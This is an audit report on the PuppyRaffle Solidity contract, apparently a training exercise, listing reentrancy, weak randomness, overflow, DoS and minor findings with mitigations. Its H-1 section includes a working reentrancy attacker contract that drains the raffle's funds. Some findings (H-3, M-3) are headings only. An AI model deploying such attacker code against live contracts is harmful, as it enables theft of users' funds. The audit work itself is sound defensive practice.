Protocol Audit Report

Version 1.0

Blockitus

February 8, 2024

PuppyRaffle Security Review

Blockitus

February, 2024

Prepared by: Blockitus

Powered by: Cyfrin

Lead Auditors: - Pedro Machado

Another content from the Lead Auditor.” - Blockitus YouTube Channel

Table of Contents

Protocol Summary

"This project involves a raffle system where participants can enter to win a cute dog NFT. The protocol's key functionalities include:

1. Using the `enterRaffle` function to enter the raffle with a list of participant addresses (`address[] participants`). Participants can enter multiple times individually or as a group.
2. Ensuring that duplicate addresses are not allowed.

3. Allowing users to request a refund of their ticket's value by calling the `refund` function.
4. Periodically, the raffle will randomly select a winner who will be minted a random puppy.
5. The protocol owner can set a `feeAddress` to receive a portion of the value, and the remaining funds will be awarded to the winner of the puppy."

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#--PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The security audit of the PuppyRaffle protocol, version 1.0, conducted by Blockitus on behalf of Cyfrin.io, aims to assess the solidity implementation for potential vulnerabilities and security risks. The audit focused on key aspects of the protocol, including entry functionality, duplicate address prevention, refund process, random winner selection, and fund distribution.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Informational	7
Gas	2

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description:

The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6         payable(msg.sender).sendValue(entranceFee);
7
8         players[playerIndex] = address(0);
9         emit RaffleRefunded(playerAddress);
10    }
```

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback`/`receive` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log("attackerContract balance: ",
            startingAttackContractBalance);
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
            );
        console.log("ending attackerContract balance: ", address(
            attackerContract).balance);
        console.log("ending puppyRaffle balance: ", address(puppyRaffle
            ).balance);

}
```

And this contract as well

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
```

```
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` update the players array before making the external call. Aditionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8
9           payable(msg.sender).sendValue(entranceFee);
10
11  -       players[playerIndex] = address(0);
12  -       emit RaffleRefunded(playerAddress);
13      }
```

[H-2] Week randomness in `PuppyRaffle::selectWinner` allows users to influence or predict winner and influence or predict the winnings puppy

Description:

Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictible find number. A predcitible number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result the address being used to generated the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation:

Consider using a cryptographically provable random number generator such as Chainlink VRF. You can follow the next repo Blockitus-Blockchain-Randomness-Vulnerability that describe the vulnerability and share a Chainlink's link that solved

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increasing gas cost for future entrants.

Description:

Every time the `PuppyRaffle::enterRaffle` function is called, its behavior needs to verify through an unbounded for loop whether one of the addresses in the array argument exists in the `PuppyRaffle::players` array. If it doesn't, the mechanism inserts one, making it more challenging for subsequent callers to invoke the function, as it progressively increases the player's length and the execution gas cost.

Impact:

As far as long the `PuppuRaffle::players` array grows the execution gas cost of `PuppyRafle::enterRaffle` increases, making the function unusable in the future.

An attacker could potentially inflate the size of the `PuppyRaffle::players` array to such an extent that it prevents anyone else from entering, ensuring their victory.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: - 1st players: 6252048 - 2nd players: 18068138

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test code into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);

        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value:entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        address[] memory playersTwo = new address[](numPlayers);

        for (uint256 i = 0; i < numPlayers; i++) {
            playersTwo[i] = address(i + numPlayers);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value:entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;

        console.log("Gas cost of the second 100 players: ",
            gasUsedSecond);
```

```
30
31          assert(gasUsedFirst < gasUsedSecond);
32      }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person entering multiple times, only the sane wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
1  +mapping (address => uint256) public addressToRaffleId;
2  +uint256 public raffleId = 1;
3  .
4  .
5  .
6  function enterRaffle(address[] memory newPlayers) public payable {
7      require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
           Must send enough to enter raffle");
8      // Check for duplicates
9      //Check for duplicates only for the new players.
10 +    for(uint256 i = 0; i < newPlayers.length; i++>) {
11 +    require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle
       : Duplicate player");
12     }
13
14     for (uint256 i = 0; i < newPlayers.length; i++) {
15         players.push(newPlayers[i]);
16 +          addressToRaffleId[newPlayers[i]] = raffleId;
17     }
18
19
20 -        for (uint256 i = 0; i < players.length - 1; i++) {
21 -            for (uint256 j = i + 1; j < players.length; j++) {
22 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
23 -            }
24 -        }
25         emit RaffleEnter(newPlayers);
26     }
27 .
28 .
29 .
30 function selectWinner() external {
31 +   raffleId = raffleId + 1;
32     require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
33 }
```

3.Alternatively, you could use OpenZeppelin's EnumerableSet library

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
        totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without `receive` or a `fallback` function will block the start of a new contest.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description:

If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
```

```
6                 }
7             }
8             return 0;
9         }
```

Impact:

A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` return 0
3. User thinks they have not entered correctly due the function documentation

Recommended Mitigation:

The easiest recommendation would be to revert if the player is not in the array, instead of returning 0.

You could also reserve he 0th position for any competition, but a better solution might to return an `int256` where the function returns -1 if the player is not active. # Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6; //AUDIT why not use latest Solidity
       version?
```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.‘

Please see slither-doc for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62
- Found in src/PuppyRaffle.sol Line: 154
- Found in src/PuppyRaffle.sol Line: 174

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of “magic” numbers s discouraged

It can be consfusing to see numbers literals in a codebase, and it’s more much readable if the numbers are given name.

ie:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `PuppyRaffle::isActivePlayerIndex` is declared but never used and should be removed

Description The function `PuppyRaffle::isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged state variiables should be declared as constant or inmutables varibale.

Description:

Reading from storage is much more expensive than reading from the code area.

Instances

- `PuppyRaffle::commonImageUri`
- `PuppyRaffle::legendaryImageUri`
- `PuppyRaffle::rareImageUri`
- `PuppyRaffle::raffleDuration`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```